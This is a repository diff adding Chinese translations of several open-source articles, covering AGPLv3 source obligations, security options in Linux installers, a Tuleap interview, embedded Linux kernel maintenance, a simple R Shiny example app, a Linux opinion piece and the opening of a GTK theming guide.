如果你想克隆 playbook 和配置文件,这里有[一个可用的 git 仓库][10]。
如果你想克隆 Ansible 剧本和配置文件,这里是 [git 仓库][10]。
[
![docker-daemon](https://cdn.fedoramagazine.org/wp-content/uploads/2017/01/docker-daemon.jpg)
@ -152,7 +157,7 @@ via: https://fedoramagazine.org/use-docker-remotely-atomic-host/
作者:[Trishna Guha][a]
译者:[geekpi](https://github.com/geekpi)
校对:[校对者ID](https://github.com/校对者ID)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出

View File

@ -0,0 +1,37 @@
我需要在 AGPLv3 许可证下提供源码么?
============================================================
![Do I need to provide access to source code under the AGPLv3 license?](https://opensource.com/sites/default/files/styles/image-full-size/public/images/law/LAW_PatentSpotlight_520x292_cm.png.png?itok=bCn-kMx2 "Do I need to provide access to source code under the AGPLv3 license?")
图片提供opensource.com
[GNU Affero 通用公共许可证版本 3][1]AGPLv3是与 GPLv3 几乎相同的左版copyleft许可证。两个许可证具有相同的公共版权范围但在一个重要方面有重大差异。 AGPLv3 的第 13 节规定了 GPLv2 或 GPLv3 中不存在的附加条件:
> 在本许可证的其它条款之外,如果你修改了程序,你必须把你修改的版本,给你的那些使用计算机网络远程(如果你的版本支持此类交互)与之交互的用户,明确提供一个通过一些标准或者常规的复制手段,从网络服务器上免费获得与你所修改的版本相匹配的源码的机会。
这个“通过计算机网络远程交互”的范围主要被认为是 SaaS 部署的情形,尽管其实际上读起来的意思超乎了惯例的 SaaS 部署情形。其目标是解决在用户在使用像 Web Services 这样的功能时,其代码没有公开的常规 GPL 协议所暴露出的漏洞。因此,该协议的第 13 节,在 GPLv2 第 3 节以及 GPLv3 和 AGPLv3 第 6 节中包含的目标代码分发的触发要求之外,提供了额外的源代码公开的要求。
常常被误解的是AGPLv3 第 13 节中的源代码分发要求仅在 AGPLv3 软件已被“你”(例如,提供网络服务的实体)修改的地方才触发。我的理解是,只要“你”不修改 AGPLv3 的代码,许可证就不应该被理解为需要按照第 13 节规定的方式访问相应的源码。如我所见,尽管即使公开许可证中不要求公开的源代码也是一个好主意,但在 AGPL 下许多未修改以及标准部署的软件模块根本不会触发第 13 节。
如何解释 AGPL 的条款和条件,包括 AGPL 软件是否已被修改,可能需要根据具体情况的事实和细节进行法律层面的分析。
--------------------------------------------------------------------------------
作者简介:
![](https://opensource.com/sites/default/files/styles/profile_pictures/public/pictures/kaufman-picture.jpg?itok=FPIizDR-)
Jeffrey R. Kaufman 是全球领先的开源软件解决方案提供商 Red Hat 公司的开源 IP 律师。Jeffrey 也是托马斯·杰斐逊法学院的兼职教授。在入职 Red Hat 之前Jeffrey 曾经担任高通公司的专利顾问向首席科学家办公室提供开源顾问。Jeffrey 在 RFID、条形码、图像处理和打印技术方面拥有多项专利。
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/1/providing-corresponding-source-agplv3-license
作者:[Jeffrey Robert Kaufman][a]
译者:[geekpi](https://github.com/geekpi)
校对:[Bestony](https://github.com/Bestony)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/jkaufman
[1]:https://www.gnu.org/licenses/agpl-3.0-standalone.html

View File

@ -0,0 +1,71 @@
为何 Linux 安装器需要添加安全功能
============================================================
> 由于安全问题越来越严重Linux 发行版需要在安装程序中突出显示基本安全选项,而不是让用户稍后手动添加这些选项。
十二年前Linux 发行版努力使安装变得简单。在 Ubuntu 和 Fedora 的引领下,它们很早就实现了这一目标。现在,随着对安全性越来越关注,它们需要稍微转变下方向,并在安装程序中突出显示基本安全选项,而不是让用户稍后手动添加这些选项。
当然,即便是在最好的情况下,说服用户来设置安全功能都是困难的。太多用户甚至不愿意添加如非特权用户帐户或密码这样简单的功能,他们显然更喜欢用重装或者以每小时 80 美元的价格咨询专家来减少风险。
然而,即便一般用户不会专门注意安全,但他也可能会在安装过程中注意。他们可能永远不会再想到它,但也许在安装过程中,当他们的注意力集中时,特别是如果有可见的在线帮助来解释其好处时,他们可能被说服选择一个复选框。
这种转变也并不伟大。许多安装程序已经提供了自动登录的选择 - 这对于不包含个人数据的安装来说或许是可以接受的功能,但更可能会被那些觉得登录不方便的用户使用。同样感谢 Ubuntu它选择加密文件系统 - 至少在主目录中是这样 - 它已经成为许多安装程序的标准。我真正建议的也是这样的。
此外,外部安装程序如 Firefox 已经无缝合并了隐私浏览,而 [Signal Private Messenger][8] 则是一个可替代标准 的 Android 手机和联系人的应用程序。
这些建议远不算激进。它只需要意志和想象力来实现它。
### Linux 安全第一步
应该将什么类型的安全功能添加到安装程序呢?
首先是防火墙。有许多图形界面程序可以设置防火墙。尽管十七年的经验,但是就像拜伦对柯尔律治的形而上的思想的讨论一样,我有时还是希望有人能来解释一下。
尽管出于好意,大多数防火墙工具对 iptables 的处理看起来都很直接。有一个现在已经停止维护的加固系统 [Bastille Linux][9] 可以用于安装一个基本的防火墙,我看不出为什么其他发行版做不到同样的事情。
一些工具可以用于安装后处理,并且对于安装器而言可以毫无困难地添加使用。例如,对于 [Grub 2][10],这个大多数发行版使用的引导管理器包含了基本密码保护。诚然,密码可以通过 Live CD 绕过,但它仍然在包括远程登录在内的日常情况下提供一定程度的保护。
类似地,一个类似于 [pwgen][11] 的密码生成器也可以添加到安装程序设置帐户的环节。这些工具强制可接受密码的长度、以及它们的大小写字母、数字和特殊字符的组合。它们许多都可以为你生成密码,有些甚至可以使生成的密码可拼读,以便你记住密码。
还有些工具也可以添加到安装过程的这个部分。例如,安装程序可以请求定期备份的计划,并添加一个计划任务和一个类似 [kbackup][12] 的简单的备份工具。
那么加密电子邮件怎么办?如今最流行的邮件阅读器包括了加密邮件的能力,但是设置和使用加密需要用户采取额外的设置,这使常见的任务复杂化,以至于用户会忽略它。然而,看看 Signal 在手机上的加密有多么简单,很显然,在笔记本电脑和工作站上加密会更容易。大多数发行版可能都喜欢对等加密,而不喜欢 Signal 那样的集中式服务器,但像 [Ring][13] 这样的程序可以提供这种功能。
无论在安装程序中添加了什么功能,也许这些预防措施也可以扩展到生产力软件,如 LibreOffice。大多数安全工作都集中在电子邮件、网络浏览和聊天中但文字处理程序和电子表格及其宏语言是一个明显的恶意软件感染的来源和隐私关注点。除了像 [Qubes OS][14] 或 [Subgraph][15] 这样的几个例外之外,很少有人努力将生产力软件纳入其安全预防措施 - 这可能会留下一个安全漏洞空缺。
### 适应现代
当然,在意安全的用户也许会采取一些安全的方法,这样的用户可以为自己负责。
我关心的是那些不太了解安全或不太愿意自己做修补的用户。我们越来越需要易于使用的安全性,并且亟待解决。
这些例子只是开始。所需要的工具大多数已经存在只是需要以这样的方式来实现它们使得用户不能忽略它们并且能够不用懂什么就可以使用它们。可能实现所有这些只需要一个人月而已包括原型、UI 设计和测试等等。
然而,在添加这些功能前,大多数主流的 Linux 发行版几乎不能说是关注到了安全性。毕竟,如果用户从不使用它们,那怎么会是好工具?
--------------------------------------------------------------------------------
via: http://www.datamation.com/security/why-linux-installers-need-to-add-security-features.html
作者:[Bruce Byfield][a]
译者:[geekpi](https://github.com/geekpi)
校对:[Bestony](https://github.com/Bestony), [wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.datamation.com/author/Bruce-Byfield-6030.html
[1]:http://www.datamation.com/feedback/http://www.datamation.com/security/why-linux-installers-need-to-add-security-features.html
[2]:http://www.datamation.com/author/Bruce-Byfield-6030.html
[3]:http://www.datamation.com/e-mail/http://www.datamation.com/security/why-linux-installers-need-to-add-security-features.html
[4]:http://www.datamation.com/print/http://www.datamation.com/security/why-linux-installers-need-to-add-security-features.html
[5]:http://www.datamation.com/security/why-linux-installers-need-to-add-security-features.html#comment_form
[6]:http://www.datamation.com/security/why-linux-installers-need-to-add-security-features.html#
[7]:http://www.datamation.com/author/Bruce-Byfield-6030.html
[8]:https://whispersystems.org/
[9]:http://bastille-linux.sourceforge.net/
[10]:https://help.ubuntu.com/community/Grub2/Passwords
[11]:http://pwgen-win.sourceforge.net/downloads.html
[12]:http://kbackup.sourceforge.net/
[13]:https://savannah.gnu.org/projects/ring/
[14]:https://www.qubes-os.org/
[15]:https://subgraph.com/sgos/

View File

@ -0,0 +1,77 @@
将 Tuleap 用于软件项目管理
============================================================
> Tuleap 正在被 Eclipse 基金会使用,用来取代 Bugzilla
![Get to know Tuleap for project management](https://opensource.com/sites/default/files/styles/image-full-size/public/images/education/rh_003588_01_rd3os.combacktoschoolseriesk12_rh_021x_0.png?itok=kOixOaEU "Get to know Tuleap for project management")
图片提供opensource.com
Tuleap 是一个独特的开源项目管理工具,目前发展势头很好,现在,每个月它会出一个大版本。它还被列在 [2015 年五大开源项目管理工具][1]和 [2016 年十一个名列前茅项目管理工具][2]中。
Manuel Vacelet 是开发 Tuleap 项目的 Enalean 公司的联合创始人和 CTO他说“Tuleap 是一个完整用于托管软件项目的 GPLv2 平台,它提供了一个集中化的平台,在这里,团队可以找到他们所需的所有工具追踪他们软件项目的生命周期。他们可以找到项目管理Scrum、看板、瀑布、混合等等、源码控制git 和 svn和代码审查pull 请求和 gerrit、持续集成、问题跟踪、wiki 和文档等的支持。”
在这次采访中,我会和 Manuel 讨论如何开始使用它,以及如何以开源方式管理 Tuleap。
**Nitish Tiwari以下简称 NT 为什么 Tuleap 项目很重要? **
**Manuel Vacelet以下简称 MV** Tuleap 很重要是因为我们坚信一个成功的软件项目必须涉及所有利益相关者开发人员、项目经理、QA、客户和用户。
很久以前,我还是一个 SourceForge 衍生项目的实习生(当时 SourceForge 还是一个自由开源项目),几年后它变成了 Tuleap。 我的第一个贡献是将 PhpWiki 集成到该工具中(不要告诉任何人,代码写的很糟)。
现在,我很高兴作为首席技术官和产品负责人在 Enalean 工作,该公司是 Tuleap 项目的主要贡献公司。
**NT让我们聊聊技术方面。**
**MV** Tuleap 核心系统是基于 LAMP 并且架构于 CentOS 之上。如今的开发栈是 AngularJS (v1)、REST 后端PHP、基于 NodeJS 的实时推送服务器。但如果你想成为一名 Tuleap 全栈开发人员,你还将需要接触 bash、Perl、Python、Docker、Make 等等。
说到技术方面,需要重点强调的 Tuleap 的一个显著特征是它的可扩展性。一个运行在单服务器上的 Tuleap 单一实例、并且没有复杂的 IT 架构,可以处理超过 10000 人的访问。
**NT给我们说下该项目的用户和社区。有谁参与他们如何使用这个工具**
**MV** 用户非常多样化。从使用 Tuleap 跟踪他们的项目进度并管理他们的源代码的小型初创公司,到非常大的公司,如法国电信运营商 Orange它为超过 17000 用户部署了它,并托管了 5000 个项目。
许多用户依靠 Tuleap 来促进敏捷项目并跟踪其进度。开发人员和客户共享同一个工作区。客户不需要学习如何使用 GitHub也不需要开发人员做额外的工作就可以将其工作转换到“客户可访问”平台。
今年Tuleap 被 [Eclipse 基金会][3]所使用,取代了 Bugzilla。
印度电子信息技术部使用 Tuleap 创建了印度政府开放电子政务的开放式协作开发平台。
Tuleap 有多种不同的使用方式和配置。有些人使用它作为 Drupal 客户门户网站的后端; 它们通过 REST API 插入到 Tuleap 中以管理 bug 和服务请求。
甚至一些建筑师也使用它来管理他们的工作进度和 AutoCAD 文件。
**NTTuleap 是否做了一些特别的事,使社区更安全,更多样化?**
**MV** 我们还没有创建“行为准则”本社区非常平和而欢迎新人但我们有计划这样做。Tuleap 的开发人员和贡献者来自不同的国家(例如加拿大、突尼斯、法国)。而且 35 的活跃开发者和贡献者是女性。
**NT由社区提议的 Tuleap 功能的百分比是多少?**
**MV** 几乎 100 的功能是由社区驱动的。
这是 Enalean 的关键挑战之一:找到一种商业模式,使我们能以正确的方式做开源软件。对我们来说,“开放核心”模式(其中应用程序的核心是开放的,但有趣和有用的部分是封闭源的)不是正确的方法,因为你最终还是要依赖闭源。因此,我们发明了 [OpenRoadmap][4],这种方式是我们从社区和最终用户那里收集需求,并找公司来为此买单。
--------------------------------------------------------------------------------
作者简介:
![](https://opensource.com/sites/default/files/styles/profile_pictures/public/nitish-crop.png?itok=h4PaLDQq)
Nitish 是一名专业的软件开发人员并对开源有热情。作为一本基于 Linux 的杂志的技术作者,他会尝试新的开源工具。他喜欢阅读和探索任何开源相关的事情。在他的空闲时间,他喜欢读励志书。他目前正在构建 DevUp - 一个让开发人员以真正的方式连接所有工具和拥抱 DevOps 的平台。你可以在 Twitter 上关注他 @tiwari_nitish
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/1/interview-Tuleap-project
作者:[Nitish Tiwari][a]
译者:[geekpi](https://github.com/geeki)
校对:[jamsinepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/tiwarinitish86
[1]:https://opensource.com/business/15/1/top-project-management-tools-2015
[2]:https://opensource.com/business/16/3/top-project-management-tools-2016
[3]:http://www.eclipse.org/
[4]:https://blog.enalean.com/enalean-open-roadmap-how-it-works/

View File

@ -0,0 +1,54 @@
长期维护嵌入式 Linux 内核变得容易
============================================================
![Jan Lübbe ](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/jan-lubbe-elc.png?itok=6G5lADKu "Jan Lübbe ")
*Pengutronix 内核黑客 Jan Lübbe 总结了嵌入式 Linux 中正在不断增长的安全威胁,并在这次欧洲嵌入式 Linux 会议上概述了一个计划,以保持长期设备的安全和功能完整。* [Linux 基金会][1]
安全漏洞只发生在 Windows 上的好日子正在快速过去。恶意软件黑客和拒绝服务老手们正在越来越多地瞄准过时的嵌入式 Linux 设备,因此在 10 月的[<ruby>欧洲嵌入式 Linux 会议<rt>Embedded Linux Conference Europe</rt></ruby>][3]ELCE上的几个演讲的主题就与修复 Linux 安全漏洞相关。
最值得去听的讲演之一是 [Pengutronix][4] 内核黑客 Jan Lübbe 的《长期维护或管理(或免管理)嵌入式系统 10 年以上》。在总结嵌入式 Linux 中不断增长的安全威胁后Lübbe 制定了一项计划,以确保长期设备的安全和功能完整。 Lübbe 说:“我们需要迁移到更新、更稳定的内核,并进行持续维护以修复关键漏洞。我们需要做上游更新和自动化流程,并建立一个可持续的工作流程。我们没有理由让系统中仍留有过时的软件。”
随着 Linux 设备变得越来越老,传统的生命周期过程已经不再适用。 Lübbe 说:“通常,你会从 SoC 供应商或主线上获取内核、构建系统,并添加到用户空间。你可以定制和添加程序,并做一些测试。但是,在此之后有 15 年的维护阶段,你最好期望平台不会发生变化、不会想要添加新的功能、不需要实施管理调整。”
所有这些变化,越来越多地导致你的系统暴露出新的错误,并需要大量更新以才能与上游软件保持同步。 Lübbe 说:“在内核中发生导致问题的错误并不总是无意的”。对于去年在 Allwinner 内核中发现的[后门][5],他又补充说:“这些供应商的内核从来不会执行主线内核社区的审查流程”。
Lübbe 继续说:“你不能认为你的供应商一直没问题。也许只有一两个工程师查看过后门代码这块。如果补丁发布在 Linux 内核邮件列表上,就不会有这种事,因为总会有人注意到。硬件供应商不关心安全或维护,也许你会在一两年后得到更新,但是即使这样,他们从一个固定版本开始开发,到他们发布稳定的版本通常需要几年的时间。如果你在这个基础上再开始开发,可能又过了半年,这就更过时了。”
越来越多的嵌入式开发人员在<ruby>长期稳定<rt>Long Term Stable</rt></ruby>LTS内核上构建长期产品。但这并不意味着没事了。Lübbe 说:“一个产品发布后,人们经常不再遵循稳定的发行链,也不再应用安全补丁。这样你会得到两个最糟糕的结果:过时的内核和没有安全性。你失去了多人测试的好处。”
Lübbe 指出,使用像 Red Hat 这样的面向服务器的发行版的 Pengutronix 客户经常由于快速的定制、需要系统管理员干预的部署和升级系统而遇到问题。
“更新对一些东西有用,特别是在 x86 上,但每个项目基本上是自己建立基础设施来更新到新版本。”
许多开发人员选择把向后移植作为更新长期产品的解决方案。Lübbe 说:“开始时很容易,但是一旦你不处于项目的维护范围,他们就不会告诉你所使用的版本是否受到一个 bug 的影响,因此很难判断一个修复是否相关。于是你不停打补丁和更新,而 bug 也在不断累积,而这些你必须自己维护,因为其他人不使用这些补丁。使用开源软件的好处就丢失了。”
### 跟随上游项目
Lübbe 认为,最好的解决方案是跟踪由上游项目维护的版本。“我们主要关注基于主线内核的开发,所以我们在产品和主流内核及其他上游项目之间尽可能没有差别。长期系统在主线内核上得到很好的支持。大多数不使用 3D 图形的系统只需要很少的补丁。较新的内核版本还有很多[新的强化功能][6],这些可以减少漏洞的影响。
跟随主线发展对许多开发人员来说似乎令人畏惧但是如果从一开始就这样然后坚持下去就会相对容易一些Lübbe 说:“你需要为系统上做的一切制定流程。你总需要知道什么软件正在运行,这在使用良好的构建系统时会更容易。每个软件版本应定义完整的系统,以便你可以更新相关的一切。如果你不知道那里有什么,你就不能解决它。你也需要一个自动测试和自动部署更新。”
为了“减少更新周期”Lübbe 建议在开始开发时使用最新的 Linux 内核并且在进入测试时才转到稳定的内核。之后他建议每年将系统中的所有软件包括内核、构建系统、用户空间、glibc 和组件(如 OpenSSL更新为当年上游项目支持的版本。
Lübbe 说:“得到更新并不意味着你需要部署。如果没有看到安全漏洞,你可以把补丁放在一边,需要时它再用就行。”
最后Lübbe 建议每个月查看发布公告,并且每周检查 CVE 和主线列表上的安全公告。你只需要问自己“该安全公告是否影响到了你”。他补充说:“如果你的内核足够新,就没有太多的工作。你不会希望通过在新闻中看到你的设备才获得有关你的产品的反馈。”
--------------------------------------------------------------------------------
via: https://www.linux.com/news/event/ELCE/2017/long-term-embedded-linux-maintenance-made-easier
作者:[ERIC BROWN][a]
译者:[geekpi](https://github.com/geekpi)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://www.linux.com/users/ericstephenbrown
[1]:https://www.linux.com/licenses/category/linux-foundation
[2]:https://www.linux.com/files/images/jan-lubbe-elcpng
[3]:http://events.linuxfoundation.org/events/archive/2016/embedded-linux-conference-europe
[4]:http://www.pengutronix.de/index_en.html
[5]:http://arstechnica.com/security/2016/05/chinese-arm-vendor-left-developer-backdoor-in-kernel-for-android-pi-devices/
[6]:https://www.linux.com/news/event/ELCE/2017hardening-kernel-protect-against-attackers

View File

@ -0,0 +1,66 @@
如何用 R 语言的 Shiny 库编写 web 程序
============================================================
![How to write web apps in R with Shiny](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/BUSINESS_lightbulbs.png?itok=70w-2-Ta "How to write web apps in R with Shiny")
图片提供 opensource.com
我这个月在写一些更加长的文章,所以你们可以在几周后再来看看。本月,我想简要地提下我自己一直在玩的一个很棒的 R 库。
我的一个亲密朋友最近在用 R 编写东西。我一直都对它很感兴趣,也一直在试图挤时间,学习更多关于 R 的知识以及可用它做的事情。探索 R 的超强数字处理能力对我而言有些困难,因为我并不如我朋友那样有一个数学头脑。我进展有点慢,但我一直试图将它与我在其他领域的经验联系起来,我甚至开始考虑非常简单的 web 程序。
[Shiny][1] 是一个来自 RStudio 的工具包,它让创建 web 程序变得更容易。它能从 R 控制台轻松安装,只需要一行,就可以加载好最新的稳定版本来使用。这里有一个很棒的[教程][2],它可以在前面课程基础上,带着你理解应用架设的概念。 Shiny 的授权是 GPLv3源代码可以在 [GitHub][3] 上获得。
这是一个用 Shiny 写的简单的小 web 程序:
```
library(shiny)
server <- function(input, output, session) {
observe({
myText <- paste("Value above is: ", input$textIn)
updateTextInput(session, "textOut", value=myText)
})
}
ui <- basicPage(
h3("My very own sample application!"),
textInput("textIn", "Input goes here, please."),
textInput("textOut", "Results will be printed in this box")
)
shinyApp(ui = ui, server = server)
```
当你在输入框中输入文字时,它会被复制到输出框中提示语后。这并没有什么奇特的,但它向你展示了一个 Shiny 程序的基本结构。“server”部分允许你处理所有后端工作如计算、数据库检索或程序需要发生的任何其他操作。“ui”部分定义了接口它可以根据需要变得简单或复杂。
包括在 Shiny 中的 [Bootstrap][4] 有了大量样式和主题,所以在学习了一点后,就能用 R 创建大量功能丰富的 web 程序。使用附加包可以将功能扩展到更高级的 JavaScript 程序、模板等。
有几种方式处理 Shiny 的后端工作。如果你只是在本地运行你的程序,加载库就能做到。对于想要发布到网络上的程序,你可以在 [RStudio 的 Shiny 网站][5]上共享它们,运行开源版本的 Shiny 服务器,或通过按年订阅服务从 RStudio 处购买 Shiny Server Pro。
经验丰富的 R 大牛可能已经知道 Shiny 了;它已经存在大约几年了。对于像我这样来自一个完全不同的编程语言,并且希望学习一点 R 的人来说,它是相当有帮助的。
--------------------------------------------------------------------------------
作者简介:
![](https://opensource.com/sites/default/files/styles/profile_pictures/public/ruth1_avi.jpg?itok=I_EE7NmY)
D Ruth Bavousett - D Ruth Bavousett 作为一名系统管理员和软件开发人员已经很长时间了,她的专业生涯开始于 VAX 11/780。在她的职业生涯迄今为止她花费了大量的时间在满足库的需求上她自 2008 年以来一直是 Koha 开源库自动化套件的贡献者. Ruth 目前在休斯敦的 cPanel 任 Perl 开发人员,他也作为首席员工效力于双猫公司。
--------------------------------------------------------------------------------
via: https://opensource.com/article/17/1/writing-new-web-apps-shiny
作者:[D Ruth Bavousett][a]
译者:[geekpi](https://github.com/geekpi)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://opensource.com/users/druthb
[1]:http://shiny.rstudio.com/
[2]:http://shiny.rstudio.com/tutorial
[3]:https://github.com/studio/shiny
[4]:http://getbootstrap.com/
[5]:http://shinyapps.io/

View File

@ -0,0 +1,94 @@
GNU/Linux爱憎由之
==================
首先,我能确定本文提及的内容一定会造成激烈的辩论,从之前那篇 [我讨厌 GNU/Linux 的五个理由 你呢,爱还是恨?][1] 的页底评论区就可见一斑。
也因此,我在此没有使用恨 (hate) 这个词,那会让我感觉很不舒服,所以我觉得用不喜欢 (dislike) 来代替更合适。
[![关于 Linux我所不喜欢的事情](http://www.tecmint.com/wp-content/uploads/2015/11/Things-I-Dislike-About-Linux.png)][2]
*关于 Linux我所不喜欢的 5 件事。*
也就是说,请读者记住,文中的观点完完全全出于我个人和自身的经历,而这些想法和经历可能会和他人的相似,也可能相去甚远。
此外我也意识到这些所谓的不喜欢dislike是与经验相关的Linux 就是这个样子。然而,但正是这些事实阻碍了新用户做出迁移系统的决定。
像从前一样,随时留下评论并展开讨论,或者提出任何其他符合本文主题的观点。
### 不喜欢理由之一:从 Windows 迁移到 Linux 对用户来说是个陡峭的学习曲线
如果说使用 Windows 已经成为了你生活中不可缺少的一个部分,那么你在 Linux 电脑上安装一个新软件之前还必须要习惯和理解诸如远程仓库repository、依赖关系dependency、包package和包管理器package manager等概念。
不久你也会发现,仅仅使用鼠标点击一个可执行程序是很难完成某个程序的安装的。或者由于一些原因,你没有可用的网络,那么安装一个你想要的软件会是一件非常累人的任务。
### 不喜欢理由之二:独立学习使用仍存在困难
类似理由一,事实上,最开始独立学习 Linux 知识的时候,很多人都会觉得那是一个巨大挑战。尽管网上有数以千万计的教程和 [大量的好书][3],但初学者也会因此烦了选择困难症,不知从何开始学习。
此外,数不清的社区 (比如:[linuxsay.com][4]) 论坛中都有大量的有经验用户为大家无偿提供(通常都是这样的)解答,但不幸的是,这些问题的解答并不完全可信、或者与新用户的经验和知识层面不匹配,导致用户无法理解。
事实上,因为有太多的发行版系列及其衍生版本可以获取,这使得我们有必要向第三方机构付费,让他们指引我们走向 Linux 世界的第一步、了解这些发行版系列之间的相同点以及区别。
### 不喜欢理由之三:新老系统/软件迁移问题
一旦你下定决心开始使用 Linux那么无论是在家里或是办公室也无论是个人版或者企业级你都要完全从旧系统向新系统迁移然后要考虑这些年来你所使用的软件在 Linux 平台上的替代产品。
而这确实令人矛盾不已,特别是要面对相同类型(比如文本处理器、关系型数据库系统、图形套件等) 的多个不同程序,而又没有受过专业指导和训练,那么很多人都下定不了决心要使用哪个好。
除非有可敬的有经验用户或者教学视频进行指导,否则存在太多的软件实例给用户进行选择,真的会让人走进误区。
### 不喜欢理由之四:缺乏硬件厂商的驱动支持
恐怕没有人能否认这样的事实Linux 走过了漫长的历史,它的第一个内核版本公布已经有 20 多年了LCTT 译注:准确说是将近 26 年了1991.10.05 - 2017.02,相信现今很多我们这些 Linux 用户在第一个内核版本公布的时候都还没出生,包括译者在内)。随着越来越多的设备驱动编译进每次发布的稳定内核中、越来越多的厂商开始支持研究和开发兼容 Linux 的设备驱动Linux 用户们不再会经常遇到设备运行不正常的情况了,但还是会偶尔遭遇的。
并且,如果你的个人计算或者公司业务需要一个特殊设备,但恰巧又没有现成的 Linux 驱动,你还得困在 Windows 或者其他有驱动支持的其他系统。
尽管你经常这样提醒自己:“闭源软件真他妈邪恶!”,但事实上的确有闭源软件,并且不幸的是,出于商业需求我们多数情况还是被迫使用它。
### 不喜欢理由之五Linux 的主要力量仍在于服务器
这么说吧,我加入 Linux 阵营的主要原因是多年前它将一台老电脑生机焕发并能够正常使用让我看到了它的前景。花费了一段时间来解决不喜欢理由之一、之二中遇到的那些问题,并且成功使用一台 566 MHz 赛扬处理器、10 GB IDE 硬盘以及仅有 256 MB 内存的机器搭载 Debian Squeeze 建立起一个家庭文件/打印/ Web 服务于一体的服务器之后,我非常开心。
当我发现即便是处于高负载的情况,[htop 显示][5] 系统资源消耗才勉强到达一半,这令非常我惊喜。
你可能已经不停在再问自己,文中明明说的是不喜欢 Linux为什么还提这些事呢答案很简单我是需要一个比较好的 Linux 桌面发行版来运行在一台相对老旧的电脑上。当然我并不指望能够有那么一个发行版可以运行上述提到那种硬件特征的电脑上,但我的确没有发现有任何一款外观漂亮的可定制桌面系统能运行在 1 GB 内存以下的电脑中,如果可以,其速度大概比鼻涕虫还慢吧。
我想在此重申一下:我是说“我没发现”,而非“不存在”。可能某天我会发现一个较好的 Linux 桌面发行版能够用在我房间里那台寿终正寝的笔记本上。如果那天真的到来,我将首先删除这篇文章,并向它竖起大拇指。
### 总而言之
在本文中,我也尝试了提及 Linux 在某些地方仍需不断改进。我是一名幸福的 Linux 用户,并由衷地感谢那些杰出的社区不断为 Linux 系统、组件和其他功能做出贡献。我想重复一下我在本文开头说的 —— 这些明显的不足点,如果从适当的角度去看也是一种优势,或者也快了吧。
在那到来之前,让我们相互支持,一起学习并帮助 Linux 成长和传播。随时在下方留下你的评论和问题 —— 我们期待你不同的观点。
-------------------------------
作者简介:
Gabriel Cánepa —— 一位来自阿根廷圣路易斯梅塞德斯镇 (Villa Mercedes, San Luis, Argentina) 的 GNU/Linux 系统管理员Web 开发者。就职于一家世界领先级的消费品公司,乐于在每天的工作中能使用 FOSS 工具来提高生产力。
-------------------------------
译者简介:
[GHLandy](http://GHLandy.com) —— 生活中所有欢乐与苦闷都应藏在心中,有些事儿注定无人知晓,自己也无从说起。
-------------------------------
via: http://www.tecmint.com/things-i-dislike-and-love-about-gnu-linux/
作者:[Gabriel Cánepa][a]
译者:[GHLandy](https://github.com/GHLandy)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/gacanepa/
[1]:https://linux.cn/article-3855-1.html
[2]:http://www.tecmint.com/wp-content/uploads/2015/11/Things-I-Dislike-About-Linux.png
[3]:http://www.tecmint.com/10-useful-free-linux-ebooks-for-newbies-and-administrators/
[4]:http://linuxsay.com/
[5]:http://www.tecmint.com/install-htop-linux-process-monitoring-for-rhel-centos-fedora/
[6]:http://www.tecmint.com/author/gacanepa/
[7]:http://www.tecmint.com/10-useful-free-linux-ebooks-for-newbies-and-administrators/
[8]:http://www.tecmint.com/free-linux-shell-scripting-books/

View File

@ -1,53 +1,57 @@
获取、安装和制作 GTK 主题
----------------
如何获取、安装和制作 GTK 主题
=====================
非常多的桌面版 Linux 都支持主题。GUI译者注图形用户界面独有的外观或者”风格“叫做主题。用户可以改变主题让桌面看起来与众不同。通常,用户也会更改图标然而主题和图标包是两个独立的实体。很多人想制作他们自己的主题因此这是一篇关于GTK 主题的制作以及各种制作时必需的信息的文章。
多数桌面版 Linux 都支持主题。GUILCTT 译注:图形用户界面)独有的外观或者“风格”叫做主题。用户可以改变主题让桌面看起来与众不同。通常,用户也会更改图标然而,主题和图标包是两个独立的实体。很多人想制作他们自己的主题,因此这是一篇关于 GTK 主题的制作以及各种制作时必需的信息的文章。
**注意:** 这篇文章着重讨论 GTK3但会稍微谈一下 GTK2、Metacity 等。本文不会讨论光标和图标。
**基本概念**
GIMP 工具包(简称 GTK是一个用来创造在多种系统上如此造就了 GTK 的跨平台图形用户界面的构件工具包。GTK[http://www.gtk.org/][17]通常被错误地认为代表“GNOME 工具包”但实际上它代表“GIMP 工具包”,因为最初创造它是为了给 GIMP 设计用户界面。GTK 是一个用 C 语言编写的面向对象工具包GTK 本身不是一种语言。GTK 遵循 LGPL协议完全开源。GTK 是一个使用广泛的图形用户界面工具包,它含有很多可用工具。
###基本概念
GTK 主题无法在基于 QT 的应用上使用。QT 主题需要在基于 QT 的应用上使用
GIMP 工具包(简称 GTK是一个用来在多种系统上因此造就了 GTK 的跨平台创建图形用户界面的构件工具包。GTK[http://www.gtk.org/][17]通常被误认为代表“GNOME 工具包”但实际上它代表“GIMP 工具包”,因为最初创造它是为了给 GIMP 设计用户界面。GTK 是一个用 C 语言编写的面向对象工具包GTK 本身不是一种语言。GTK 遵循 LGPL 协议完全开源。GTK 是一个广泛使用的图形用户界面工具包,它含有很多用于 GTK 的工具
主题使用层叠样式表CSS来生成主题样式。这里的 CSS 和网站开发者在网页上使用的相同。然而它引用的 HTML 标签被 GTK 构件的专用标签代替。学习 CSS 对主题开发者来说很重要
